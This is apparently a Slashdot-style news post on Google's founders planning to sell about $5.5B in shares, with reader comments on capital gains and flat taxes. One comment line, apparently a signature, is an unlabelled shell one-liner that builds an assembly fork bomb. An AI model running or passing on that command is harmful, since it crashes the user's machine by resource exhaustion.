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Larry & Sergey To Cash In $5.5B of Google Chips
theodp writes "According to an SEC filing, Google founders Larry Page and Sergey Brin have adopted five-year trading plans to sell about 5M shares each, which would yield each about $2.75B based on Friday's closing stock price of $550.01. BTW, Google kicks in 12 cents to Social Security and another 2 cents to Medicare on its founders' celebrated $1 annual salaries." After this stock is sold, the founders will hold less than 50% of the voting shares and thus will give up voting control of Google.
Except that money from capital gains are not subject to either Social Security or Medicare. Taxes for those programs are deducted from employment income, not investment income. Furthermore, capital gains tax rates are significantly lower than those for ordinary income - currently the former is capped at 15%, while the latter is 39%. Not a knock on the Google founders specifically, but rather on the wealthy in general - as Warren Buffet has pointed out, our tax system is skewed so that wealthy folks like himself pay an effective tax rate of 17.7%, while his secretary is taxed at 30%.
I bet the Chinese Government are buying those shares (and the voting rights attached to them) as fast as they can. People said Larry and Sergei were crazy pissing them off but maybe it's all part of the plan.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
Well, it depends on what you mean by "a flat tax". People pushing the flat tax, like Steve Forbes, have typically been pushing for a flat tax on wage and salary income, but that excludes capital gains entirely. One flat tax of x% for the working schmucks, and another flat tax of 0% for the trust-fund kids like Steve Forbes.
If it were a flat tax that included capital gains, that might have a better chance of going somewhere, but the major flat-tax proponents have not been pushing that. Though even in that case you would have a bunch of entrenched popular deductions that people would try to pull in, like the mortgage-interest deduction, the deduction on money donated to charity, etc.
10 PRINT CHR$(205.5+RND(1)); : GOTO 10